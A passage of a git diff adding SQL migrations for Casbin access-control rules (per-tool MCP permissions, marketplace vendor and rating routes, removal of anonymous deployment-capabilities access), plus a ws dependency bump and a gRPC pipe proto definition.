+    '/api/v1/project/:id/apps/:code'
+  )
+  AND v2 = 'DELETE';
diff --git a/migrations/20260717120017_casbin_project_app_delete.up.sql b/migrations/20260717120017_casbin_project_app_delete.up.sql
new file mode 100644
index 00000000..f05fe3a9
--- /dev/null
+++ b/migrations/20260717120017_casbin_project_app_delete.up.sql
@@ -0,0 +1,7 @@
+-- Add Casbin rules for deleting project apps
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/project/:id/apps/:code', 'DELETE', '', '', ''),
+    ('p', 'group_user', '/api/v1/project/:id/apps/:code', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql b/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql
new file mode 100644
index 00000000..a67844e9
--- /dev/null
+++ b/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql
@@ -0,0 +1,101 @@
+WITH tool_policy(subject, tool) AS (
+    VALUES
+        ('group_user', 'list_projects'),
+        ('group_user', 'get_project'),
+        ('group_user', 'create_project'),
+        ('group_user', 'create_project_app'),
+        ('group_user', 'suggest_resources'),
+        ('group_user', 'list_templates'),
+        ('group_user', 'validate_domain'),
+        ('group_user', 'get_deployment_status'),
+        ('group_user', 'start_deployment'),
+        ('group_user', 'cancel_deployment'),
+        ('group_user', 'list_clouds'),
+        ('group_user', 'get_cloud'),
+        ('group_user', 'add_cloud'),
+        ('group_user', 'delete_cloud'),
+        ('group_user', 'list_cloud_regions'),
+        ('group_user', 'list_cloud_server_sizes'),
+        ('group_user', 'list_cloud_images'),
+        ('group_user', 'delete_project'),
+        ('group_user', 'clone_project'),
+        ('group_user', 'get_user_profile'),
+        ('group_user', 'get_subscription_plan'),
+        ('group_user', 'list_installations'),
+        ('group_user', 'get_installation_details'),
+        ('group_user', 'search_applications'),
+        ('group_user', 'search_marketplace_templates'),
+        ('group_user', 'get_notifications'),
+        ('group_user', 'mark_notification_read'),
+        ('group_user', 'mark_all_notifications_read'),
+        ('group_user', 'initiate_deployment'),
+        ('group_user', 'trigger_redeploy'),
+        ('group_user', 'add_app_to_deployment'),
+        ('group_user', 'get_container_logs'),
+        ('group_user', 'get_container_health'),
+        ('group_user', 'list_containers'),
+        ('group_user', 'restart_container'),
+        ('group_user', 'diagnose_deployment'),
+        ('group_user', 'escalate_to_support'),
+        ('group_user', 'get_live_chat_info'),
+        ('group_user', 'stop_container'),
+        ('group_user', 'start_container'),
+        ('group_user', 'get_error_summary'),
+        ('group_user', 'get_app_env_vars'),
+        ('group_user', 'set_app_env_var'),
+        ('group_user', 'delete_app_env_var'),
+        ('group_user', 'get_app_config'),
+        ('group_user', 'update_app_ports'),
+        ('group_user', 'update_app_domain'),
+        ('group_user', 'preview_install_config'),
+        ('group_user', 'get_ansible_role_defaults'),
+        ('group_user', 'render_ansible_template'),
+        ('group_user', 'validate_stack_config'),
+        ('group_user', 'discover_stack_services'),
+        ('group_user', 'get_vault_config'),
+        ('group_user', 'set_vault_config'),
+        ('group_user', 'list_vault_configs'),
+        ('group_user', 'apply_vault_config'),
+        ('group_user', 'configure_proxy'),
+        ('group_user', 'delete_proxy'),
+        ('group_user', 'list_proxies'),
+        ('group_user', 'list_project_apps'),
+        ('group_user', 'get_deployment_resources'),
+        ('group_user', 'list_remote_secret_targets'),
+        ('group_user', 'list_remote_service_secrets'),
+        ('group_user', 'get_remote_service_secret'),
+        ('group_user', 'set_remote_service_secret'),
+        ('group_user', 'delete_remote_service_secret'),
+        ('group_user', 'get_docker_compose_yaml'),
+        ('group_user', 'get_server_resources'),
+        ('group_user', 'get_container_exec'),
+        ('group_admin', 'admin_list_submitted_templates'),
+        ('group_admin', 'admin_get_template_detail'),
+        ('group_admin', 'admin_approve_template'),
+        ('group_admin', 'admin_reject_template'),
+        ('group_admin', 'admin_list_template_versions'),
+        ('group_admin', 'admin_list_template_reviews'),
+        ('group_admin', 'admin_validate_template_security'),
+        ('group_user', 'list_available_roles'),
+        ('group_user', 'get_role_details'),
+        ('group_user', 'get_role_requirements'),
+        ('group_user', 'validate_role_vars'),
+        ('group_user', 'deploy_role'),
+        ('group_user', 'recommend_stack_services'),
+        ('group_user', 'deploy_app'),
+        ('group_user', 'remove_app'),
+        ('group_user', 'configure_proxy_agent'),
+        ('group_user', 'get_agent_status'),
+        ('group_user', 'configure_firewall'),
+        ('group_user', 'list_firewall_rules'),
+        ('group_user', 'configure_firewall_from_role')
+)
+DELETE FROM public.casbin_rule cr
+USING tool_policy tp
+WHERE cr.ptype = 'p'
+  AND cr.v0 = tp.subject
+  AND cr.v1 = '/mcp/tools/' || tp.tool
+  AND cr.v2 = 'CALL'
+  AND cr.v3 = ''
+  AND cr.v4 = ''
+  AND cr.v5 = '';
diff --git a/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql b/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql
new file mode 100644
index 00000000..b564c30f
--- /dev/null
+++ b/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql
@@ -0,0 +1,99 @@
+-- Add per-tool Casbin ACL for MCP tool execution.
+-- The WebSocket endpoint remains protected separately by /mcp GET.
+
+WITH tool_policy(subject, tool) AS (
+    VALUES
+        ('group_user', 'list_projects'),
+        ('group_user', 'get_project'),
+        ('group_user', 'create_project'),
+        ('group_user', 'create_project_app'),
+        ('group_user', 'suggest_resources'),
+        ('group_user', 'list_templates'),
+        ('group_user', 'validate_domain'),
+        ('group_user', 'get_deployment_status'),
+        ('group_user', 'start_deployment'),
+        ('group_user', 'cancel_deployment'),
+        ('group_user', 'list_clouds'),
+        ('group_user', 'get_cloud'),
+        ('group_user', 'add_cloud'),
+        ('group_user', 'delete_cloud'),
+        ('group_user', 'list_cloud_regions'),
+        ('group_user', 'list_cloud_server_sizes'),
+        ('group_user', 'list_cloud_images'),
+        ('group_user', 'delete_project'),
+        ('group_user', 'clone_project'),
+        ('group_user', 'get_user_profile'),
+        ('group_user', 'get_subscription_plan'),
+        ('group_user', 'list_installations'),
+        ('group_user', 'get_installation_details'),
+        ('group_user', 'search_applications'),
+        ('group_user', 'search_marketplace_templates'),
+        ('group_user', 'get_notifications'),
+        ('group_user', 'mark_notification_read'),
+        ('group_user', 'mark_all_notifications_read'),
+        ('group_user', 'initiate_deployment'),
+        ('group_user', 'trigger_redeploy'),
+        ('group_user', 'add_app_to_deployment'),
+        ('group_user', 'get_container_logs'),
+        ('group_user', 'get_container_health'),
+        ('group_user', 'list_containers'),
+        ('group_user', 'restart_container'),
+        ('group_user', 'diagnose_deployment'),
+        ('group_user', 'escalate_to_support'),
+        ('group_user', 'get_live_chat_info'),
+        ('group_user', 'stop_container'),
+        ('group_user', 'start_container'),
+        ('group_user', 'get_error_summary'),
+        ('group_user', 'get_app_env_vars'),
+        ('group_user', 'set_app_env_var'),
+        ('group_user', 'delete_app_env_var'),
+        ('group_user', 'get_app_config'),
+        ('group_user', 'update_app_ports'),
+        ('group_user', 'update_app_domain'),
+        ('group_user', 'preview_install_config'),
+        ('group_user', 'get_ansible_role_defaults'),
+        ('group_user', 'render_ansible_template'),
+        ('group_user', 'validate_stack_config'),
+        ('group_user', 'discover_stack_services'),
+        ('group_user', 'get_vault_config'),
+        ('group_user', 'set_vault_config'),
+        ('group_user', 'list_vault_configs'),
+        ('group_user', 'apply_vault_config'),
+        ('group_user', 'configure_proxy'),
+        ('group_user', 'delete_proxy'),
+        ('group_user', 'list_proxies'),
+        ('group_user', 'list_project_apps'),
+        ('group_user', 'get_deployment_resources'),
+        ('group_user', 'list_remote_secret_targets'),
+        ('group_user', 'list_remote_service_secrets'),
+        ('group_user', 'get_remote_service_secret'),
+        ('group_user', 'set_remote_service_secret'),
+        ('group_user', 'delete_remote_service_secret'),
+        ('group_user', 'get_docker_compose_yaml'),
+        ('group_user', 'get_server_resources'),
+        ('group_user', 'get_container_exec'),
+        ('group_admin', 'admin_list_submitted_templates'),
+        ('group_admin', 'admin_get_template_detail'),
+        ('group_admin', 'admin_approve_template'),
+        ('group_admin', 'admin_reject_template'),
+        ('group_admin', 'admin_list_template_versions'),
+        ('group_admin', 'admin_list_template_reviews'),
+        ('group_admin', 'admin_validate_template_security'),
+        ('group_user', 'list_available_roles'),
+        ('group_user', 'get_role_details'),
+        ('group_user', 'get_role_requirements'),
+        ('group_user', 'validate_role_vars'),
+        ('group_user', 'deploy_role'),
+        ('group_user', 'recommend_stack_services'),
+        ('group_user', 'deploy_app'),
+        ('group_user', 'remove_app'),
+        ('group_user', 'configure_proxy_agent'),
+        ('group_user', 'get_agent_status'),
+        ('group_user', 'configure_firewall'),
+        ('group_user', 'list_firewall_rules'),
+        ('group_user', 'configure_firewall_from_role')
+)
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+SELECT 'p', subject, '/mcp/tools/' || tool, 'CALL', '', '', ''
+FROM tool_policy
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql b/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql
new file mode 100644
index 00000000..05e2a249
--- /dev/null
+++ b/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql
@@ -0,0 +1,34 @@
+WITH tool_policy(subject, tool) AS (
+    VALUES
+        ('group_user', 'get_deployment_state'),
+        ('group_user', 'get_deployment_plan'),
+        ('group_user', 'get_deployment_events'),
+        ('group_user', 'apply_deployment_plan'),
+        ('group_user', 'explain_env'),
+        ('group_user', 'explain_topology')
+)
+DELETE FROM public.casbin_rule cr
+USING tool_policy tp
+WHERE cr.ptype = 'p'
+  AND cr.v0 = tp.subject
+  AND cr.v1 = '/mcp/tools/' || tp.tool
+  AND cr.v2 = 'CALL'
+  AND cr.v3 = ''
+  AND cr.v4 = ''
+  AND cr.v5 = '';
+
+WITH route_policy(subject, route, action) AS (
+    VALUES
+        ('group_user', '/api/v1/deployments/:deployment_hash/state', 'GET'),
+        ('group_user', '/api/v1/deployments/:deployment_hash/plan', 'GET'),
+        ('group_user', '/api/v1/deployments/:deployment_hash/events', 'GET')
+)
+DELETE FROM public.casbin_rule cr
+USING route_policy rp
+WHERE cr.ptype = 'p'
+  AND cr.v0 = rp.subject
+  AND cr.v1 = rp.route
+  AND cr.v2 = rp.action
+  AND cr.v3 = ''
+  AND cr.v4 = ''
+  AND cr.v5 = '';
diff --git a/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql b/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql
new file mode 100644
index 00000000..3b50c7a3
--- /dev/null
+++ b/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql
@@ -0,0 +1,27 @@
+-- Add Casbin ACL for AI deployment/explain MCP tools introduced after the
+-- initial per-tool MCP policy migration.
+
+WITH tool_policy(subject, tool) AS (
+    VALUES
+        ('group_user', 'get_deployment_state'),
+        ('group_user', 'get_deployment_plan'),
+        ('group_user', 'get_deployment_events'),
+        ('group_user', 'apply_deployment_plan'),
+        ('group_user', 'explain_env'),
+        ('group_user', 'explain_topology')
+)
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+SELECT 'p', subject, '/mcp/tools/' || tool, 'CALL', '', '', ''
+FROM tool_policy
+ON CONFLICT DO NOTHING;
+
+WITH route_policy(subject, route, action) AS (
+    VALUES
+        ('group_user', '/api/v1/deployments/:deployment_hash/state', 'GET'),
+        ('group_user', '/api/v1/deployments/:deployment_hash/plan', 'GET'),
+        ('group_user', '/api/v1/deployments/:deployment_hash/events', 'GET')
+)
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+SELECT 'p', subject, route, action, '', '', ''
+FROM route_policy
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120020_pipe_instance_adapters.down.sql b/migrations/20260717120020_pipe_instance_adapters.down.sql
new file mode 100644
index 00000000..69c2e3bc
--- /dev/null
+++ b/migrations/20260717120020_pipe_instance_adapters.down.sql
@@ -0,0 +1,3 @@
+ALTER TABLE pipe_instances
+    DROP COLUMN IF EXISTS target_adapter,
+    DROP COLUMN IF EXISTS source_adapter;
diff --git a/migrations/20260717120020_pipe_instance_adapters.up.sql b/migrations/20260717120020_pipe_instance_adapters.up.sql
new file mode 100644
index 00000000..4d618d5e
--- /dev/null
+++ b/migrations/20260717120020_pipe_instance_adapters.up.sql
@@ -0,0 +1,3 @@
+ALTER TABLE pipe_instances
+    ADD COLUMN source_adapter JSONB,
+    ADD COLUMN target_adapter JSONB;
diff --git a/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql b/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql
new file mode 100644
index 00000000..9813ec73
--- /dev/null
+++ b/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql
@@ -0,0 +1,16 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+SELECT 'p',
+       'group_anonymous',
+       '/api/v1/deployments/:deployment_hash/capabilities',
+       'GET',
+       NULL,
+       NULL,
+       NULL
+WHERE NOT EXISTS (
+    SELECT 1
+    FROM public.casbin_rule
+    WHERE ptype = 'p'
+      AND v0 = 'group_anonymous'
+      AND v1 = '/api/v1/deployments/:deployment_hash/capabilities'
+      AND v2 = 'GET'
+);
diff --git a/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql b/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql
new file mode 100644
index 00000000..3d1e3112
--- /dev/null
+++ b/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql
@@ -0,0 +1,6 @@
+-- Deployment capabilities expose agent state and must require authentication.
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_anonymous'
+  AND v1 = '/api/v1/deployments/:deployment_hash/capabilities'
+  AND v2 = 'GET';
diff --git a/migrations/20260718121000_add_public_vendor_profile_fields.down.sql b/migrations/20260718121000_add_public_vendor_profile_fields.down.sql
new file mode 100644
index 00000000..d2e8ddac
--- /dev/null
+++ b/migrations/20260718121000_add_public_vendor_profile_fields.down.sql
@@ -0,0 +1,8 @@
+DROP INDEX IF EXISTS marketplace_vendor_profile_public_slug_unique;
+
+ALTER TABLE marketplace_vendor_profile
+DROP COLUMN IF EXISTS website_url,
+DROP COLUMN IF EXISTS avatar_url,
+DROP COLUMN IF EXISTS bio,
+DROP COLUMN IF EXISTS display_name,
+DROP COLUMN IF EXISTS public_slug;
diff --git a/migrations/20260718121000_add_public_vendor_profile_fields.up.sql b/migrations/20260718121000_add_public_vendor_profile_fields.up.sql
new file mode 100644
index 00000000..41c55081
--- /dev/null
+++ b/migrations/20260718121000_add_public_vendor_profile_fields.up.sql
@@ -0,0 +1,10 @@
+ALTER TABLE marketplace_vendor_profile
+ADD COLUMN IF NOT EXISTS public_slug VARCHAR(100),
+ADD COLUMN IF NOT EXISTS display_name VARCHAR(255),
+ADD COLUMN IF NOT EXISTS bio TEXT,
+ADD COLUMN IF NOT EXISTS avatar_url TEXT,
+ADD COLUMN IF NOT EXISTS website_url TEXT;
+
+CREATE UNIQUE INDEX IF NOT EXISTS marketplace_vendor_profile_public_slug_unique
+ON marketplace_vendor_profile (public_slug)
+WHERE public_slug IS NOT NULL;
diff --git a/migrations/20260718122000_casbin_public_vendor_profile_rule.down.sql b/migrations/20260718122000_casbin_public_vendor_profile_rule.down.sql
new file mode 100644
index 00000000..f0964fae
--- /dev/null
+++ b/migrations/20260718122000_casbin_public_vendor_profile_rule.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_anonymous'
+  AND v1 = '/api/vendors/:vendor'
+  AND v2 = 'GET';
diff --git a/migrations/20260718122000_casbin_public_vendor_profile_rule.up.sql b/migrations/20260718122000_casbin_public_vendor_profile_rule.up.sql
new file mode 100644
index 00000000..e71c90c7
--- /dev/null
+++ b/migrations/20260718122000_casbin_public_vendor_profile_rule.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/vendors/:vendor', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718123000_casbin_template_rating_rules.down.sql b/migrations/20260718123000_casbin_template_rating_rules.down.sql
new file mode 100644
index 00000000..4c45be28
--- /dev/null
+++ b/migrations/20260718123000_casbin_template_rating_rules.down.sql
@@ -0,0 +1,8 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 IN (
+    '/api/templates/:id/rating/summary',
+    '/api/templates/:id/rating/me',
+    '/api/templates/:id/rating'
+  )
+  AND v2 IN ('GET', 'PUT', 'DELETE');
diff --git a/migrations/20260718123000_casbin_template_rating_rules.up.sql b/migrations/20260718123000_casbin_template_rating_rules.up.sql
new file mode 100644
index 00000000..7b361478
--- /dev/null
+++ b/migrations/20260718123000_casbin_template_rating_rules.up.sql
@@ -0,0 +1,27 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/templates/:id/rating/summary', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/rating/me', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/rating', 'PUT', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/rating', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/rating/me', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/rating', 'PUT', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/rating', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718124000_casbin_payout_webhook_rule.down.sql b/migrations/20260718124000_casbin_payout_webhook_rule.down.sql
new file mode 100644
index 00000000..a2a4c1d8
--- /dev/null
+++ b/migrations/20260718124000_casbin_payout_webhook_rule.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_anonymous'
+  AND v1 = '/api/v1/marketplace/payouts/webhook'
+  AND v2 = 'POST';
diff --git a/migrations/20260718124000_casbin_payout_webhook_rule.up.sql b/migrations/20260718124000_casbin_payout_webhook_rule.up.sql
new file mode 100644
index 00000000..95827eeb
--- /dev/null
+++ b/migrations/20260718124000_casbin_payout_webhook_rule.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/v1/marketplace/payouts/webhook', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718125000_rating_unique_visible_user_obj_category.down.sql b/migrations/20260718125000_rating_unique_visible_user_obj_category.down.sql
new file mode 100644
index 00000000..6dd59f53
--- /dev/null
+++ b/migrations/20260718125000_rating_unique_visible_user_obj_category.down.sql
@@ -0,0 +1 @@
+DROP INDEX IF EXISTS rating_visible_user_obj_category_unique;
diff --git a/migrations/20260718125000_rating_unique_visible_user_obj_category.up.sql b/migrations/20260718125000_rating_unique_visible_user_obj_category.up.sql
new file mode 100644
index 00000000..7190ac04
--- /dev/null
+++ b/migrations/20260718125000_rating_unique_visible_user_obj_category.up.sql
@@ -0,0 +1,12 @@
+DELETE FROM rating a
+USING rating b
+WHERE a.id > b.id
+  AND a.hidden = false
+  AND b.hidden = false
+  AND a.user_id = b.user_id
+  AND a.obj_id = b.obj_id
+  AND a.category = b.category;
+
+CREATE UNIQUE INDEX IF NOT EXISTS rating_visible_user_obj_category_unique
+ON rating (user_id, obj_id, category)
+WHERE hidden = false;
diff --git a/migrations/20260718126000_backfill_vendor_public_slug.down.sql b/migrations/20260718126000_backfill_vendor_public_slug.down.sql
new file mode 100644
index 00000000..11357038
--- /dev/null
+++ b/migrations/20260718126000_backfill_vendor_public_slug.down.sql
@@ -0,0 +1,9 @@
+-- Revert: clear auto-generated slugs.
+-- Only clears slugs that look like the auto-generated format (no custom slugs).
+-- Custom slugs set via the API won't match the creator_user_id pattern.
+UPDATE marketplace_vendor_profile
+SET public_slug = NULL
+WHERE public_slug = LEFT(
+    REGEXP_REPLACE(LOWER(creator_user_id), '[^a-z0-9]+', '-', 'g'),
+    100
+);
diff --git a/migrations/20260718126000_backfill_vendor_public_slug.up.sql b/migrations/20260718126000_backfill_vendor_public_slug.up.sql
new file mode 100644
index 00000000..e4ab2243
--- /dev/null
+++ b/migrations/20260718126000_backfill_vendor_public_slug.up.sql
@@ -0,0 +1,13 @@
+-- Backfill public_slug for existing vendor profiles that don't have one.
+-- Derives a slug from creator_user_id: lowercase, replace non-alphanumeric
+-- chars with hyphens, strip leading/trailing hyphens, cap at 100 chars.
+-- Vendors can change this via PATCH /api/templates/mine/vendor-profile.
+UPDATE marketplace_vendor_profile
+SET public_slug = LEFT(
+    REGEXP_REPLACE(
+        LOWER(creator_user_id),
+        '[^a-z0-9]+', '-', 'g'
+    ),
+    100
+)
+WHERE public_slug IS NULL;
diff --git a/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.down.sql b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.down.sql
new file mode 100644
index 00000000..84a443c8
--- /dev/null
+++ b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE v0 IN ('group_user', 'group_admin')
+  AND v1 = '/api/templates/mine/vendor-profile'
+  AND v2 = 'PATCH';
diff --git a/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.up.sql b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.up.sql
new file mode 100644
index 00000000..a4dd18e2
--- /dev/null
+++ b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.down.sql b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.down.sql
new file mode 100644
index 00000000..283f7774
--- /dev/null
+++ b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/admin/vendors/:creator_user_id/vendor-profile'
+  AND v2 = 'PATCH';
diff --git a/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.up.sql b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.up.sql
new file mode 100644
index 00000000..00152454
--- /dev/null
+++ b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.up.sql
@@ -0,0 +1,5 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_admin',   '/api/admin/vendors/:creator_user_id/vendor-profile', 'PATCH', '', '', ''),
+    ('p', 'admin_service', '/api/admin/vendors/:creator_user_id/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718129000_casbin_admin_vendors_list_rule.down.sql b/migrations/20260718129000_casbin_admin_vendors_list_rule.down.sql
new file mode 100644
index 00000000..232fc402
--- /dev/null
+++ b/migrations/20260718129000_casbin_admin_vendors_list_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 IN ('/api/admin/vendors', '/stacker/api/admin/vendors')
+  AND v2 = 'GET';
diff --git a/migrations/20260718129000_casbin_admin_vendors_list_rule.up.sql b/migrations/20260718129000_casbin_admin_vendors_list_rule.up.sql
new file mode 100644
index 00000000..97136eb2
--- /dev/null
+++ b/migrations/20260718129000_casbin_admin_vendors_list_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_admin',   '/api/admin/vendors',         'GET', '', '', ''),
+    ('p', 'admin_service', '/api/admin/vendors',         'GET', '', '', ''),
+    ('p', 'group_admin',   '/stacker/api/admin/vendors', 'GET', '', '', ''),
+    ('p', 'admin_service', '/stacker/api/admin/vendors', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718130000_marketplace_install_authorization.down.sql b/migrations/20260718130000_marketplace_install_authorization.down.sql
new file mode 100644
index 00000000..1eaee337
--- /dev/null
+++ b/migrations/20260718130000_marketplace_install_authorization.down.sql
@@ -0,0 +1 @@
+DROP TABLE IF EXISTS marketplace_install_authorization;
diff --git a/migrations/20260718130000_marketplace_install_authorization.up.sql b/migrations/20260718130000_marketplace_install_authorization.up.sql
new file mode 100644
index 00000000..2634dd9b
--- /dev/null
+++ b/migrations/20260718130000_marketplace_install_authorization.up.sql
@@ -0,0 +1,31 @@
+CREATE TABLE marketplace_install_authorization (
+    id                  uuid          PRIMARY KEY DEFAULT gen_random_uuid(),
+    project_id          integer,
+    user_id             varchar(64)   NOT NULL,
+    template_id         uuid          NOT NULL REFERENCES stack_template(id) ON DELETE RESTRICT,
+    idempotency_key     varchar(80)   NOT NULL,
+    authorization_id    varchar(120)  NOT NULL,
+    amount_minor        bigint        NOT NULL,
+    currency            char(3)       NOT NULL,
+    status              varchar(24)   NOT NULL,
+    deployment_hash     varchar(120),
+    void_reason         varchar(120),
+    expires_at          timestamptz,
+    created_at          timestamptz   NOT NULL DEFAULT now(),
+    updated_at          timestamptz   NOT NULL DEFAULT now(),
+    CONSTRAINT uq_mia_idem UNIQUE (user_id, idempotency_key)
+);
+
+CREATE INDEX ix_mia_project
+    ON marketplace_install_authorization (project_id);
+
+CREATE INDEX ix_mia_deploy_hash
+    ON marketplace_install_authorization (deployment_hash)
+    WHERE deployment_hash IS NOT NULL;
+
+CREATE INDEX ix_mia_sweep
+    ON marketplace_install_authorization (status, expires_at)
+    WHERE status = 'authorized';
+
+CREATE INDEX ix_mia_auth_id
+    ON marketplace_install_authorization (authorization_id);
diff --git a/node_modules/.vite/deps_temp_0b5f61c2/package.json b/node_modules/.vite/deps_temp_0b5f61c2/package.json
new file mode 100644
index 00000000..3dbc1ca5
--- /dev/null
+++ b/node_modules/.vite/deps_temp_0b5f61c2/package.json
@@ -0,0 +1,3 @@
+{
+  "type": "module"
+}
diff --git a/package-lock.json b/package-lock.json
index 4c049143..7dcc24e7 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -5,14 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "ws": "^8.18.3"
+        "ws": "^8.21.0"
       }
     },
     "node_modules/ws": {
-      "version": "8.18.3",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz",
-      "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==",
-      "license": "MIT",
+      "version": "8.21.0",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz",
+      "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==",
       "engines": {
         "node": ">=10.0.0"
       },
diff --git a/package.json b/package.json
index 31fef034..40058bec 100644
--- a/package.json
+++ b/package.json
@@ -1,5 +1,5 @@
 {
   "dependencies": {
-    "ws": "^8.18.3"
+    "ws": "^8.21.0"
   }
 }
diff --git a/proto/pipe.proto b/proto/pipe.proto
new file mode 100644
index 00000000..bd068bcb
--- /dev/null
+++ b/proto/pipe.proto
@@ -0,0 +1,31 @@
+syntax = "proto3";
+
+package pipe;
+
+import "google/protobuf/struct.proto";
+
+service PipeService {
+  // Send data to a pipe target (unary)
+  rpc Send(PipeMessage) returns (PipeResponse);
+
+  // Subscribe to a pipe source (server-streaming)
+  rpc Subscribe(SubscribeRequest) returns (stream PipeMessage);
+}
+
+message PipeMessage {
+  string pipe_instance_id = 1;
+  string step_id = 2;
+  google.protobuf.Struct payload = 3;
+  int64 timestamp_ms = 4;
+}
+
+message PipeResponse {
+  bool success = 1;
+  string message = 2;
+}
+
+message SubscribeRequest {
+  string pipe_instance_id = 1;
+  string step_id = 2;
+  map<string, string> filters = 3;
+}
diff --git a/scenarios/qwen2.5-coder/website-deploy/scenario.yaml b/scenarios/qwen2.5-coder/website-deploy/scenario.yaml
new file mode 100644
index 00000000..f15767f6
--- /dev/null
+++ b/scenarios/qwen2.5-coder/website-deploy/scenario.yaml
@@ -0,0 +1,47 @@
